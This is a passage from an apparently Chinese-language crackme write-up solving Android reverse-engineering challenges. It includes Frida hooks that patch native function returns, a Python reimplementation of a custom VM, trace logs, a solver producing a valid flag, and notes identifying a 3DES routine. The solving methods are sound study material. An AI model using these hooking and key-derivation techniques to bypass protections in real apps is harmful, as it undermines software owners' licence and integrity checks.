\\"[dosomething1] retval: \\" , retval) retval.replace( 0 ); console.log( \\"[dosomething1] retval: \\" , retval) } }) Interceptor.attach(Module.findExportByName(null, \\"getenv\\" ), { onEnter: function(args) { let a0 = args[ 0 ].readCString(); if (a0.indexOf( \\"name\\" ) ! = - 1 ) { Memory.writeUtf8String(args[ 0 ], \\"name\\" ); this.flag = true console.log( \\"[getenv] a0: \\" , args[ 0 ].readCString()) } }, onLeave: function(retval) { if (this.flag) { console.log( \\"retval: \\" , retval.readCString()) } } }) } var base = Module.findBaseAddress(soName); hook_xorkey(base); hook_test2(base); } function main() { hook_dlopen( \\"libwuaipojie2025_game.so\\" ) } setImmediate(main) |
最終解密腳本:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | xor_key1 = [ 0x2E , 0x4B , 0xEE , 0xC8 , 0xE0 , 0x95 , 0x88 , 0x47 , 0xB0 , 0x72 , 0x1B , 0x68 , 0x40 , 0xD0 , 0x0A , 0x84 ] # xor_key2 = [0x27, 0xAF, 0xF3, 0xA7, 0xA1, 0x64, 0x51, 0xC3, 0x67, 0x6D, 0x19, 0x04, 0xE9, 0x58, 0xE9, 0x6F] xor_key2 = [ 0x77 , 0x70 , 0x8a ] xor_key_list = [xor_key1, xor_key2] data1 = 0x72ECF89BAF8F2748 data2 = 0xB63AE26B0C720798 data3 = 0xF75942 enc = data1.to_bytes( 8 , \'little\' ) + data2.to_bytes( 8 , \'little\' ) + data3.to_bytes( 3 , \'little\' ) enc = bytearray(enc) xor_keylist_idx = 0 xor_key_idx = 0 flag = \\"\\" for i in range ( len (enc)): if (i & 0xf ) = = 0 : xor_key = xor_key_list[xor_keylist_idx] xor_keylist_idx + = 1 xor_key_idx = 0 flag + = chr (xor_key[xor_key_idx] ^ enc[i]) xor_key_idx + = 1 print ( \\"flag: \\" , flag) |
輸出:flag: flag{md5(uid+2025)}
先看看題目描述,要幾個重點:
\\nflag{XXXXX-XXXXX-XXXXX-XXXXX}
,其中X
要麼是大寫字母,要麼是數字。
再看看APP,要求輸入UID和Flag。
\\n
用新版jeb查看Java層邏輯( Java層有混淆,jeb能忽略部份混淆,方便分析 ),發現調用check
函數來檢查,參考分別是UID和Flag。
check
是Native函數。
native層的check
是靜態注冊的,能直接搜到。
繼續深入分析( 配合動調來遂一分析每個函數的作用 )。
\\n
init_some_data
函數如下,結合後面的分析可以知道,這裡是在初始化vm虛擬機的opcodes,存放在a1[0xC000 ~ 0xC200]
。
將a1
記為vm_ctx
,意指vm虛擬機的上下文空間。
初始化完成後便會調用start_vm
正式啟動虛擬機進行計算。
一開始會通過一些運算獲取_opcode
和arg
,前者是操作碼、後者是一些固定的參數( 在不同的操作碼中都有不同的含義 )。
接著就是vm最經典的一大段switch,每個case對應不同的handler,實現了不同的功能。
\\n每個handler裡基本上都會用到vm_ctx[0x10002]
,一些參數、中間值、計算結果都會存放在vm_ctx[0x10002]
指向的位置。
而且可以看到vm_ctx[0x10002] + 4
、vm_ctx[0x10002] - 4
等等的運算,再結合題目的描述,可以猜測vm_ctx[0x10002]
相當於sp
( 棧指針 ),該虛擬機的所有運算操作都會在它自己維護的棧中進行( 沒有寄存器的概念 )。
大部份handler的實現都比較簡單,配合動調很容易就可以分析出來。
\\n記錄幾個沒那麼容易看出來的handler。
\\nhandler7:&v26[-arg]
相當於&v26 - arg
,這裡是在將棧頂元素與棧頂後arg
個元素交換。
handler22:注意_pc += (char)arg
,對應匯編是ADD W11, W11, W12,SXTB
,其中SXTB
是對W12
的修飾符,表示將W12
的最低8位進行符號擴展,在還原handler時要特別留意這一點。
花億點時間,還原所有handler,實現一個簡單的vm解釋器:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 | def write_mem_str(addr, content): global vm_ctx if type (content) = = str : for i in range ( len (content)): vm_ctx[addr + i] = ord (content[i]) else : raise Exception( \\"TODO\\" ) return addr def write_mem_word(addr, content): global vm_ctx for i in range ( 2 ): vm_ctx[addr + i] = content & 0xFF content >> = 8 def write_mem_arr(addr, arr): global vm_ctx for i in range ( len (arr)): vm_ctx[addr + i] = arr[i] def write_mem_dword(addr, content): global vm_ctx for i in range ( 4 ): vm_ctx[addr + i] = content & 0xFF content >> = 8 def read_mem_dword(addr): global vm_ctx return vm_ctx[addr] | (vm_ctx[addr + 1 ] << 8 ) | (vm_ctx[addr + 2 ] << 16 ) | (vm_ctx[addr + 3 ] << 24 ) def read_mem_word(addr): global vm_ctx return vm_ctx[addr] | (vm_ctx[addr + 1 ] << 8 ) def read_mem_byte(addr): global vm_ctx return vm_ctx[addr] def push_data(data): global vm_ctx sp = read_mem_word( 0x10002 ) tmp = sp + 4 write_mem_word( 0x10002 , tmp) write_mem_dword(tmp, data) def pop_data(): global vm_ctx sp = read_mem_word( 0x10002 ) data = read_mem_dword(sp) write_mem_word( 0x10002 , sp - 4 ) return data def read_sp_data(): sp = read_mem_word( 0x10002 ) data = read_mem_dword(sp) return data def set_sp_data(data): sp = read_mem_word( 0x10002 ) write_mem_dword(sp, data) def load_opcodes(): global vm_ctx with open ( \\"./dump/opcodes\\" , mode = \\"rb\\" ) as f: opcodes = bytearray(f.read()) for i in range ( len (opcodes)): vm_ctx[ 0xC000 + i] = opcodes[i] def hex_to_negative(value, bits = 8 ): # 檢查符號位 if value & ( 1 << (bits - 1 )): # 如果是負數,計算其補碼 value = value - ( 1 << bits) return value def start_vm(): global vm_ctx, pc, arg, v13 pc = None arg = None v13 = None def handler_0_xor(): n1 = pop_data() # *sp n2 = read_sp_data() # *(sp - 1) res = n1 ^ n2 set_sp_data(res) print (f \\"[h0_xor]\\\\t pop, *sp = {hex(n2)} ^ {hex(n1)} = {hex(res)}\\" ) def handler_1_opposite(): n = read_sp_data() set_sp_data( - n) print (f \\"[h1_opposite]\\\\t *sp = -{hex(n)}\\" ) def handler_2_subsp(): sp = read_mem_word( 0x10002 ) write_mem_word( 0x10002 , sp - 4 * arg) print (f \\"[h2_subsp]\\\\t sp -= {4 * arg}\\" ) def handler_4_orr(): n1 = pop_data() # *sp n2 = read_sp_data() # *(sp - 1) res = n1 | n2 set_sp_data(res) print (f \\"[h4_orr]\\\\t pop, *sp = {hex(n2)} | {hex(n1)} = {hex(res)}\\" ) def handler_5_(): # nglog: maybe some problem global pc sp = read_mem_word( 0x10002 ) v23 = read_sp_data() v24 = sp - 8 - 4 * arg + 4 pc = read_mem_dword(sp - 4 ) write_mem_word( 0x10002 , v24) write_mem_dword(v24, v23) print (f \\"[h5_]\\\\t sp = {hex(v24)}, [{hex(v24)}] = {hex(v23)}, pc = {hex(pc)}\\" ) def handler_6_noeq(): # nglog n1 = pop_data() # *sp n2 = read_sp_data() # *(sp - 1) res = n1 ! = n2 set_sp_data(res) print (f \\"[h6_noeq]\\\\t pop, *sp = {hex(n2)} != {hex(n1)} = {hex(res)}\\" ) def handler_7_swap(): # nglog: some problem global arg sp = read_mem_word( 0x10002 ) n1 = read_mem_dword(sp) # sp n2 = read_mem_dword(sp - 4 * arg) # sp - arg write_mem_dword(sp, n2) write_mem_dword(sp - 4 * arg, n1) print (f \\"[h7_swap]\\\\t swap(sp, sp - {arg}) -> swap({hex(n1), hex(n2)})\\" ) def handler_8_and(): n1 = pop_data() # *sp n2 = read_sp_data() # *(sp - 1) res = n1 & n2 set_sp_data(res) print (f \\"[h8_and]\\\\t pop, *sp = {hex(n2)} & {hex(n1)} = {hex(res)}\\" ) def handler_9_lsl(): sp_data = read_sp_data() set_sp_data(sp_data << arg) print (f \\"[h9_lsl]\\\\t *sp = *sp << arg = {hex(sp_data)} << {arg} = {hex(sp_data << arg)}\\" ) def handler_10_not(): sp_data = read_sp_data() set_sp_data(~sp_data) print (f \\"[h10_not]\\\\t *sp = ~(*sp) = ~{hex(sp_data)} = {hex(~sp_data & 0xffffffff)}\\" ) def handler_12_add(): n1 = pop_data() # *sp n2 = read_sp_data() # *(sp - 1) res = n1 + n2 set_sp_data(res) print (f \\"[h12_add]\\\\t pop, *sp = {hex(n2)} + {hex(n1)} = {hex(res)}\\" ) def handler_14_(): global pc pc + = hex_to_negative(arg) print (f \\"[h14_]\\\\t pc += {hex_to_negative(arg)}\\" ) def handler_15_(): write_mem_word( 0x10004 , 257 ) print ( \\"[h15_]\\\\t write_mem_word(0x10004, 257)\\" ) def handler_17_lsr(): sp_data = read_sp_data() set_sp_data(sp_data >> arg) print (f \\"[h17_lsr]\\\\t *sp = *sp >> arg = {hex(sp_data)} >> {arg} = {hex(sp_data >> arg)}\\" ) def handler_18_mod(): n1 = pop_data() # *sp n2 = read_sp_data() # *(sp - 1) res = n2 % n1 set_sp_data(res) print (f \\"[h18_mod]\\\\t pop, *sp = {hex(n2)} % {hex(n1)} = {hex(res)}\\" ) def handler_20_dword2byte(): sp = read_mem_word( 0x10002 ) sp_data = read_mem_byte(sp) set_sp_data(sp_data) print (f \\"[h20_dword2byte]\\\\t *(dword*)sp = *(byte*)sp = {hex(sp_data)}\\" ) def handler_21_mul(): n1 = pop_data() # *sp n2 = read_sp_data() # *(sp - 1) res = n1 * n2 set_sp_data(res) print (f \\"[h21_mul]\\\\t pop, *sp = {hex(n2)} * {hex(n1)} = {hex(res)}\\" ) def handler_22_pushpc(): # nglog global pc sp = read_mem_word( 0x10002 ) pc_ = pc pc + = hex_to_negative(arg) v34 = sp + 4 write_mem_word( 0x10002 , v34) write_mem_dword(v34, pc_) print (f \\"[h22_pushpc]\\\\t push(pc) -> push({hex(pc_)}), pc += {hex_to_negative(arg)}\\" ) def handler_23_eq(): # nglog global pc sp = read_mem_word( 0x10002 ) v16 = sp - 4 v15 = sp - 8 n1 = read_mem_dword(sp) n2 = read_mem_dword(sp - 4 ) write_mem_word( 0x10002 , v15) if (v13 = = 25 ) = = (n1 = = n2): print (f \\"[h23_eq]\\\\t sp = sp - 8\\" ) return if arg & 0xFFFFFF00 ! = 0 : raise Exception( \\"TODO\\" ) pc + = hex_to_negative(arg) print (f \\"[h23_eq]\\\\t sp = sp - 8, pc += {hex_to_negative(arg)} ({hex(arg)})\\" ) def handler_26_getinput(): n1 = pop_data() # *sp n2 = read_sp_data() # *(sp - 1) res = read_mem_byte(n1 + n2) set_sp_data(res) print (f \\"[h26_getinput]\\\\t pop, *sp = vm_ctx[{hex(n2)} + {hex(n1)}] = {hex(res)}\\" ) def handler_27_pusharg(): global arg sp = read_mem_word( 0x10002 ) orig_arg = arg arg = read_mem_dword(sp - 4 * arg) push_data(arg) print (f \\"[h27_pusharg]\\\\t push({hex(arg)}) arg == [sp - 4 * {orig_arg}]\\" ) def handler_29_pusharg2(): # nglog push_data(arg) print (f \\"[h29_pusharg2]\\\\t push({hex(arg)})\\" ) def handler_30_sub1(): sp_data = read_sp_data() set_sp_data(sp_data - 1 ) print (f \\"[h30_sub1]\\\\t *sp = *sp - 1 = {hex(sp_data)} - 1 = {hex(sp_data - 1)}\\" ) pc = read_mem_word( 0x10000 ) while True : pc_1 = pc + 1 cur_opcode = read_mem_byte(pc) arg = cur_opcode & 7 if arg ! = 7 : pc + = 1 v13 = cur_opcode >> 3 _opcode = v13 - 1 else : pc + = 2 arg = read_mem_byte(pc_1) v13 = cur_opcode >> 3 _opcode = v13 - 1 if v13 - 1 > 0x1E : raise Exception( \\"TODO\\" ) break if _opcode = = 0 : handler_0_xor() elif _opcode = = 1 : handler_1_opposite() elif _opcode = = 2 : handler_2_subsp() elif _opcode = = 3 or _opcode = = 25 : continue elif _opcode = = 4 : handler_4_orr() elif _opcode = = 5 : handler_5_() elif _opcode = = 6 : handler_6_noeq() elif _opcode = = 7 : handler_7_swap() elif _opcode = = 8 : handler_8_and() elif _opcode = = 9 : handler_9_lsl() elif _opcode = = 10 : handler_10_not() elif _opcode = = 12 : handler_12_add() elif _opcode = = 14 : handler_14_() elif _opcode = = 15 : handler_15_() break elif _opcode = = 17 : handler_17_lsr() elif _opcode = = 18 : handler_18_mod() elif _opcode = = 20 : handler_20_dword2byte() elif _opcode = = 21 : handler_21_mul() elif _opcode = = 22 : handler_22_pushpc() elif _opcode = = 23 or _opcode = = 24 : handler_23_eq() elif _opcode = = 26 : handler_26_getinput() elif _opcode = = 27 : handler_27_pusharg() elif _opcode = = 29 : handler_29_pusharg2() elif _opcode = = 30 : handler_30_sub1() else : print ( \\"else _opcode: \\" , _opcode) raise Exception( \\"TODO\\" ) break write_mem_word( 0x10000 , pc) res = read_sp_data() return res # init vm_ctx vm_ctx = [ 0 ] * 0x10006 load_opcodes() write_mem_dword( 0x10000 , 0x8000C000 ) write_mem_word( 0x10004 , 0 ) write_mem_arr( 0x204 * 0x10 , [ 0x00 , 0x03 , 0x0F , 0x20 , 0x0D , 0x02 , 0x23 , 0x06 , 0x1B , 0x14 , 0x0E , 0x01 , 0x16 , 0x19 , 0x08 , 0x12 ]) write_mem_arr( 0x205 * 0x10 , [ 0x1F , 0x17 , 0x24 , 0x0B , 0x1E , 0x07 , 0x1A , 0x05 , 0x18 , 0x1D , 0x22 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) write_mem_arr( 0x203 * 0x10 , [ 0x09 , 0x0A , 0x10 , 0x15 , 0x21 , 0x13 , 0x0C , 0x04 , 0x11 , 0x1C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ]) write_mem_str( 0x1000 , \\"flag{44444-44444-44444-44444}\\" ) # input flag push_data( 1898208 ) # uid push_data( 0x1000 ) push_data( 0x2000 ) res = start_vm() print ( \\"[res]: \\" , hex (res)) |
提醒:flag格式為flag{XXXXX-XXXXX-XXXXX-XXXXX}
,其中X
要麼是大寫字母,要麼是數字。
腳本中的測試flag要記得符合這個格式,腳本的輸出日志記為vm.log
。
前置:在動調的過程中發現handler26會獲取輸入的Flag,加密邏輯大概會在那附近。
\\n在vm.log
中搜h26_getinput
定位到相關位置,首先判斷了input
是否flag{ }
的格式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | [h26_getinput] pop, * sp = vm_ctx[ 0x1000 + 0x0 ] = 0x66 # \'f\' [h0_xor] pop, * sp = 0x66 ^ 0x66 = 0x0 [h4_orr] pop, * sp = 0x0 | 0x0 = 0x0 [h29_pusharg2] push( 0x6c ) [h27_pusharg] push( 0x1000 ) arg = = [sp - 4 * 3 ] [h29_pusharg2] push( 0x1 ) [h26_getinput] pop, * sp = vm_ctx[ 0x1000 + 0x1 ] = 0x6c # \'l\' [h0_xor] pop, * sp = 0x6c ^ 0x6c = 0x0 [h4_orr] pop, * sp = 0x0 | 0x0 = 0x0 [h29_pusharg2] push( 0x61 ) [h27_pusharg] push( 0x1000 ) arg = = [sp - 4 * 3 ] [h29_pusharg2] push( 0x2 ) [h26_getinput] pop, * sp = vm_ctx[ 0x1000 + 0x2 ] = 0x61 # \'a\' [h0_xor] pop, * sp = 0x61 ^ 0x61 = 0x0 [h4_orr] pop, * sp = 0x0 | 0x0 = 0x0 [h29_pusharg2] push( 0x67 ) [h27_pusharg] push( 0x1000 ) arg = = [sp - 4 * 3 ] [h29_pusharg2] push( 0x3 ) [h26_getinput] pop, * sp = vm_ctx[ 0x1000 + 0x3 ] = 0x67 # \'g\' [h0_xor] pop, * sp = 0x67 ^ 0x67 = 0x0 [h4_orr] pop, * sp = 0x0 | 0x0 = 0x0 [h29_pusharg2] push( 0x7b ) [h27_pusharg] push( 0x1000 ) arg = = [sp - 4 * 3 ] [h29_pusharg2] push( 0x4 ) [h26_getinput] pop, * sp = vm_ctx[ 0x1000 + 0x4 ] = 0x7b # \'{\' [h0_xor] pop, * sp = 0x7b ^ 0x7b = 0x0 [h4_orr] pop, * sp = 0x0 | 0x0 = 0x0 [h29_pusharg2] push( 0x7d ) [h27_pusharg] push( 0x1000 ) arg = = [sp - 4 * 3 ] [h29_pusharg2] push( 0x1c ) [h26_getinput] pop, * sp = vm_ctx[ 0x1000 + 0x1c ] = 0x7d # \'}\' [h0_xor] pop, * sp = 0x7d ^ 0x7d = 0x0 |
從input[5]
開始才是真正的內容,對input[5~8]
的運算可以總結為:查表、自減、乘0x24。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | # 處理input[5] [h26_getinput] pop, * sp = vm_ctx[ 0x1005 + 0x0 ] = 0x34 [h26_getinput] pop, * sp = vm_ctx[ 0x2000 + 0x34 ] = 0x21 # table[input[5]] == 0x21 [h27_pusharg] push( 0x21 ) arg = = [sp - 4 * 0 ] [h29_pusharg2] push( 0x0 ) [h23_eq] sp = sp - 8 [h12_add] pop, * sp = 0x0 + 0x21 = 0x21 # tmp = 0 + table[input[5]] [h30_sub1] * sp = * sp - 1 = 0x21 - 1 = 0x20 # tmp -= 1 [h7_swap] swap(sp, sp - 1 ) - > swap(( \'0x20\' , \'0x0\' )) [h29_pusharg2] push( 0x1 ) [h12_add] pop, * sp = 0x0 + 0x1 = 0x1 [h14_] pc + = - 24 [h27_pusharg] push( 0x1 ) arg = = [sp - 4 * 0 ] [h27_pusharg] push( 0x5 ) arg = = [sp - 4 * 6 ] [h23_eq] sp = sp - 8 [h7_swap] swap(sp, sp - 1 ) - > swap(( \'0x1\' , \'0x20\' )) [h29_pusharg2] push( 0x24 ) [h21_mul] pop, * sp = 0x20 * 0x24 = 0x480 # tmp *= 0x24 # 處理input[6] [h26_getinput] pop, * sp = vm_ctx[ 0x1005 + 0x1 ] = 0x34 [h26_getinput] pop, * sp = vm_ctx[ 0x2000 + 0x34 ] = 0x21 [h27_pusharg] push( 0x21 ) arg = = [sp - 4 * 0 ] [h29_pusharg2] push( 0x0 ) [h23_eq] sp = sp - 8 [h12_add] pop, * sp = 0x480 + 0x21 = 0x4a1 # tmp += table[input[6]] [h30_sub1] * sp = * sp - 1 = 0x4a1 - 1 = 0x4a0 # tmp -= 1 # same... |
對input[9]
有特別的處理,查表、自減操作仍舊保留,不同的是後面會判斷tmp >> 25
是否不為0
,若是則進行自加、取餘操作。
取餘操作中的模數,會根據輸入的UID不同而變化,即固定UID對應固定的模數。
\\n( 注:以-
分隔的每組字串的最個一個元素都是這樣處理的 )
1 2 3 4 5 6 7 8 9 | # 以下日志不是連續的, 為了好看將其放在一起 [h26_getinput] pop, * sp = vm_ctx[ 0x1005 + 0x4 ] = 0x34 [h26_getinput] pop, * sp = vm_ctx[ 0x2000 + 0x34 ] = 0x21 # 查表 [h12_add] pop, * sp = 0x34b8e80 + 0x21 = 0x34b8ea1 [h30_sub1] * sp = * sp - 1 = 0x34b8ea1 - 1 = 0x34b8ea0 # 自減 [h17_lsr] * sp = * sp >> arg = 0x34b8ea0 >> 25 = 0x1 # 判斷tmp >> 25是否不為0 [h12_add] pop, * sp = 0x34b8ea0 + 0x1 = 0x34b8ea1 # 自加 [h18_mod] pop, * sp = 0x34b8ea1 % 0xb05f17 = 0x8a1245 # 取餘 |
以-
作為分隔符,每組處理完後會以|
來融合。
1 | [h4_orr] pop, * sp = 0x1fc3d5 | 0x8a1245 = 0x9fd3d5 |
最後會自減、異或0xc15303fb
,這個值是固定的。
1 2 3 4 5 6 | [h30_sub1] * sp = * sp - 1 = 0x19fffff - 1 = 0x19ffffe # ... [h0_xor] pop, * sp = 0x19ffffe ^ 0xc15303fb = 0xc0ccfc05 [h5_] sp = 0x8014 , [ 0x8014 ] = 0xc0ccfc05 , pc = 0xc088 [h15_] write_mem_word( 0x10004 , 257 ) [res]: 0xc0ccfc05 |
綜合上述分析,可以大概用Python還原出加密邏輯:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | tables = [ 0x09 , 0x0A , 0x10 , 0x15 , 0x21 , 0x13 , 0x0C , 0x04 , 0x11 , 0x1C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x03 , 0x0F , 0x20 , 0x0D , 0x02 , 0x23 , 0x06 , 0x1B , 0x14 , 0x0E , 0x01 , 0x16 , 0x19 , 0x08 , 0x12 , 0x1F , 0x17 , 0x24 , 0x0B , 0x1E , 0x07 , 0x1A , 0x05 , 0x18 , 0x1D , 0x22 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ] mod_arr = [ 0xa91f91 , 0xb66962 , 0xf19ad9 , 0xef305d ] # 我的UID對應的模數 def encrypt( input ): length = len ( input ) res = 0 tmp = 0 i = 0 mi = 0 while True : if i > = length: res | = tmp print ( \\"tmp res: \\" , hex (res)) break if input [i] = = \'-\' : res | = tmp print ( \\"tmp res: \\" , hex (res)) tmp = 0 i + = 1 continue table_idx = ord ( input [i]) - 0x30 if table_idx < 0 or table_idx > = 0x30 : sep = input .find( \\"-\\" , i) if sep = = - 1 : break i = sep tmp | = 1 continue tmp + = tables[table_idx] tmp - = 1 if i + 1 < length and input [i + 1 ] ! = \'-\' : tmp * = 0x24 else : if (tmp >> 25 ) ! = 0 : tmp + = 1 tmp % = mod_arr[mi] mi + = 1 print ( \\"tmp: \\" , hex (tmp)) i + = 1 res - = 1 res ^ = 0xc15303fb print (res) print ( \\"res: \\" , hex (res)) encrypt( \\"44444-RRRRR-RRRRR-RRRRR\\" ) |
基於上述加密腳本,似乎無法直接反推出對應的解密邏輯,而且題目描述中提到有多個解也認證了這一點。
\\n密文是0x3EACFC04
,(0x3EACFC04 ^ 0xc15303fb) == 0xFFFFFFFF
,而-1
的16進制正是該值,因此只要在最終的自減前,res
的值為0
,即可滿足等式。
上面提到,以-
分隔的每個字串的最個一個元素都會進行取餘的操作( 前提是>>25
不為0
),這一步就可以很方便讓tmp
歸0
。
以-
分隔的每組數據計算過程如下,現在的目標是讓tmp
等於0
,因此d + input_[4]
必須是target
的整數倍。
此時問題轉化為如何讓d + input_[4] == n * target
,其中n
、target
都是已知的。
( 注:input_[i]
指input[i]
查表後的結果、target
是每組的模數 )
1 2 3 4 5 | a = (input_[ 0 ] - 1 ) * 0x24 b = (a + input_[ 1 ] - 1 ) * 0x24 c = (b + input_[ 2 ] - 1 ) * 0x24 d = (c + input_[ 3 ] - 1 ) * 0x24 tmp = (d + input_[ 4 ]) % target |
以下腳本用來求input_[0 ~ 4]
這幾個未知量( 初始為0
),原理如下:
input_[0]
,若input_[0]
為i
會使func
函數返回值>0
且input_[0]
為i+1
會使func
函數返回值<0
,則代表i
就是input_[0]
的最大值,也是input_[0]
其中一個可能的值。input_[0]
後,用同樣方法確定input_[1 ~ 4]
。input_[0 ~ 4]
,由此反查tables
來確定input[0 ~ 4]
字符串。注:當input_[j]
被確定為0
時,是不合理的,要將input_[j - 1] -= 1
,然後再重新計算input_[j]
的最大值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | # tables的範圍為 (0x0, 0x24] tables = [ 0x09 , 0x0A , 0x10 , 0x15 , 0x21 , 0x13 , 0x0C , 0x04 , 0x11 , 0x1C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x03 , 0x0F , 0x20 , 0x0D , 0x02 , 0x23 , 0x06 , 0x1B , 0x14 , 0x0E , 0x01 , 0x16 , 0x19 , 0x08 , 0x12 , 0x1F , 0x17 , 0x24 , 0x0B , 0x1E , 0x07 , 0x1A , 0x05 , 0x18 , 0x1D , 0x22 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ] def func(target, input_): a = (input_[ 0 ] - 1 ) * 0x24 b = (a + input_[ 1 ] - 1 ) * 0x24 c = (b + input_[ 2 ] - 1 ) * 0x24 d = (c + input_[ 3 ] - 1 ) * 0x24 res = target - d return res def func2(target): input_ = [ 0 ] * 4 res = [] for j in range ( 4 ): for i in range ( 0x25 ): input_[j] = i a = func(target, input_) input_[j] = i + 1 b = func(target, input_) if a > 0 and b < 0 : if i = = 0 : input_[j - 1 ] - = 1 res[ len (res) - 1 ] = chr ( 0x30 + tables.index(input_[j - 1 ])) continue input_[j] = i t = tables.index(i) if t = = - 1 : raise Exception( \\"??\\" ) res.append( chr ( 0x30 + t)) break res.append( chr (tables.index(func(target, input_)) + 0x30 )) return \\"\\".join(res) # 0x2A47E44 = 4 * 0xa91f91 ( 0xa91f91是第1個模數 ) print (func2( 0x2A47E44 ) + \'-\' + func2( 0x2d9a588 ) + \'-\' + func2( 0x2D4D08B ) + \'-\' + func2( 0x2CD9117 )) |
運行腳本得到一個可行的Flag為HB0P6-Y84V7-YSWDH-9RZPB
:
直接hook RegisterNatives
,看到flag驗證邏輯在lib52pojie.so!0x134d4
。
1 2 | [RegisterNatives] java_class: com.wuaipojie.crackme2025.MainActivity name: checkSn sig: (Ljava/lang/String;)Z fnPtr: 0x7ebed554d4 fnOffset: 0x7ebed554d4 lib52pojie.so!0x134d4 callee: 0x7ebed553d8 lib52pojie.so!0x133d8 |
看到一堆~
、^
、|
操作,但其實它們並非加密邏輯,而是類似ollvm裡的「指令替換」混淆,也叫MBA表達式。
簡單來說就是將一段很簡單的指令( 如a + b
),通過疊加~
、^
、|
等操作符轉換成完全等價的複雜指令。
由於沒有解混淆的思路,因此只能直接動調慢慢看邏輯。
\\n調用get_input_8
取了input
的一部份,然後傳入encrypt
。
encrypt
中主要分成3部份,先看encrypt_part1
。
input.n128_u64[0]
是低64位,代表傳入的flag,input.n128_u64[1]
是高64位,用來存放結果。
只看與input
有關的,hook發現input.n128_u64[0]
每輪固定左移-1
,即右移1
。
由此得出input.n128_u64[0]
的迭代方式:input = (input >> 1) & (2 ** 64 - 1)
input.n128_u64[1]
只與tmp1
有關。
frida stalker打印tmp1
、input_1.n128_u64[1]+=
的那個值,發現要將tmp1
看成2進制位,每輪都會拼到input_1.n128_u64[1]
的低位。
即input1 = (input1 << 1) | tmp1
,而tmp1
其實就是取input.n128_u64[0]
的最低位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | [2] x26: 0x1 x27: 0x3332317b67616c66 [3] x8(tmp1): 0x0 [5] x8: 0x0 // 0 0 0 0 0 0 0 0 0 33 b6 b0 b3 bd 18 99 19 [2] x26: 0x1 x27: 0x199918bdb3b0b633 [3] x8(tmp1): 0x1 [5] x8: 0x1 // 01 0 0 0 0 0 0 0 0 19 5b d8 d9 5e 8c cc c [2] x26: 0x1 x27: 0xccc8c5ed9d85b19 [3] x8(tmp1): 0x1 [5] x8: 0x3 // 011 1 0 0 0 0 0 0 0 8c 2d ec 6c 2f 46 66 6 [2] x26: 0x1 x27: 0x666462f6cec2d8c [3] x8(tmp1): 0x0 [5] x8: 0x6 // 0110 3 0 0 0 0 0 0 0 c6 16 76 b6 17 23 33 3 |
最終encrypt_part1
可以簡化為:
1 2 3 4 5 6 7 8 9 10 11 12 13 | def encrypt_part1( input ): input1 = 0 v18 = 1 for i in range ( 0x40 ): # tmp1 = ((v18 + input) ^ -(v18 | input)) + 2 * ((v18 & input) - ((v18 + input) | -(v18 | input))) tmp1 = input & v18 input = ( input >> 1 ) & ( 2 * * 64 - 1 ) input1 = (input1 << 1 ) | tmp1 print (tmp1) return input1 |
encrypt_part2
的邏輯比encrypt_part1
複雜得多,繼續像上面那樣分析實在不太理智( 有心無力 ),本來都打算放棄了,結果當天晚上吾愛放出了提示:
1 | 2025.02.10 16:45 【春节】解题领红包之八 {Android 高级题} 对称算法,需要识别出算法类型,找出初始化后的密钥后反推即可,对应获取奖励也减半 |
對稱算法,結合分析過程中看到的一些表,嘗試直接搜看看表中的數據。
\\n
發現其實是DES算法。
\\n
而且根據提示,密鑰是初始化過的。
\\nhook encrypt
,打印args[0]
,發現每個QWORD剛好都是6字節大小的數據,而DES算法的round key也是48位,因此這大概率就是提示所述的初始化過的密鑰。
DES算法:https://blog.csdn.net/nicai_hualuo/article/details/123135670
\\n基於原版DES,遂步分析,還原到最後發現其實是3DES。完整腳本如下:( 腳本是基於上述文章改的 )
